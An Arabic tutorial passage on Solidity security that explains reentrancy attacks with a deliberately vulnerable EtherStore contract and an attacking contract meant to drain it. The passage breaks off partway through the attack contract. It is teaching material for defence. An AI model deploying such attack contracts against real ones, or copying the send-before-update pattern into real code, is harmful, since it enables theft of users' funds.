
أمان Solidity
تهدف هذه التدوينة إلى أن تكون مقدمة شاملة وحديثة نسبيًا، وتفصّل الأخطاء السابقة التي ارتكبها مطورو Solidity في محاولة لمنع المطورين المستقبليين من تكرار التاريخ.
من ميزات العقود الذكية في إيثيريوم القدرة على استدعاء واستخدام كود عقود خارجية أخرى. كما تتعامل العقود عادةً مع الإيثر، ولهذا غالبًا ما ترسل الإيثر إلى عناوين مستخدمين خارجية متنوعة. تتطلب عملية استدعاء العقود الخارجية، أو إرسال الإيثر إلى عنوان ما، أن يقدّم العقد استدعاءً خارجيًا. ويمكن للمهاجمين اختطاف هذه الاستدعاءات الخارجية، حيث يُجبرون العقد على تنفيذ كود إضافي (أي عبر دالة fallback)، بما في ذلك استدعاءات تعود إلى العقد نفسه. وبذلك يعيد الدخول تنفيذ الكود إلى العقد. استُخدمت هجمات من هذا النوع في اختراق DAO سيئ السمعة.
لمزيد من القراءة حول هجمات إعادة الدخول، انظر هجوم إعادة الدخول على العقود الذكية وConsensus - أفضل ممارسات العقود الذكية في إيثيريوم.
يمكن أن يحدث هذا الهجوم عندما يرسل عقد ما إيثرًا إلى عنوان غير معروف. يمكن للمهاجم بناء عقد بعناية على عنوان خارجي يحتوي على كود خبيث في دالة fallback. وبالتالي، عندما يرسل العقد إيثرًا إلى هذا العنوان، سيتم استدعاء الكود الخبيث. عادةً ما ينفّذ الكود الخبيث دالةً على العقد الضعيف، ويقوم بعمليات لا يتوقعها المطور. يأتي اسم "re-entrancy" من حقيقة أن العقد الخارجي الخبيث يستدعي دالة على العقد الضعيف ويعيد الدخول إلى تنفيذ الكود في موقع عشوائي على العقد الضعيف.
لتوضيح ذلك، فكّر في العقد الضعيف البسيط، الذي يعمل كخزنة إيثيريوم تسمح للمودعين بسحب إيثر واحد فقط في الأسبوع.
EtherStore.sol:```solidity contract EtherStore {
uint256 public withdrawalLimit = 1 ether;
mapping(address => uint256) public lastWithdrawTime;
mapping(address => uint256) public balances;
function depositFunds() public payable {
balances[msg.sender] += msg.value;
}
function withdrawFunds (uint256 _weiToWithdraw) public {
require(balances[msg.sender] >= _weiToWithdraw);
// limit the withdrawal
require(_weiToWithdraw <= withdrawalLimit);
// limit the time allowed to withdraw
require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
require(msg.sender.call.value(_weiToWithdraw)());
balances[msg.sender] -= _weiToWithdraw;
lastWithdrawTime[msg.sender] = now;
}
}
هذا العقد يحتوي على دالتين عامتين: `depositFunds()` و `withdrawFunds()`. الدالة `depositFunds()` ببساطة تزيد أرصدة المُرسِلين. أما الدالة `withdrawFunds()` فتتيح للمُرسِل تحديد مقدار الـ wei الذي يريد سحبه. ولن تنجح إلا إذا كان المبلغ المطلوب سحبه أقل من 1 إيثر ولم يحدث أي سحب خلال الأسبوع الماضي. أم أنها كذلك؟...
تكمن الثغرة في السطر \[17\] حيث نرسل إلى المستخدم المبلغ المطلوب من الإيثر. لنفترض أن مهاجمًا خبيثًا ينشئ العقد التالي،
Attack.sol:```solidity
import "EtherStore.sol";
contract Attack {
EtherStore public etherStore;
// initialise the etherStore variable with the contract address
constructor(address _etherStoreAddress) {
etherStore = EtherStore(_etherStoreAddress);
}
function pwnEtherStore() public payable {
// attack to the nearest ether
require(msg.value >= 1 ether);
// send eth to the depositFunds() function
etherStore.depositFunds.value(1 ether)();
// start the magic
etherStore.withdrawFunds(1 ether);
}
function collectEther() public {
msg.sender.transfer(this.balance);
}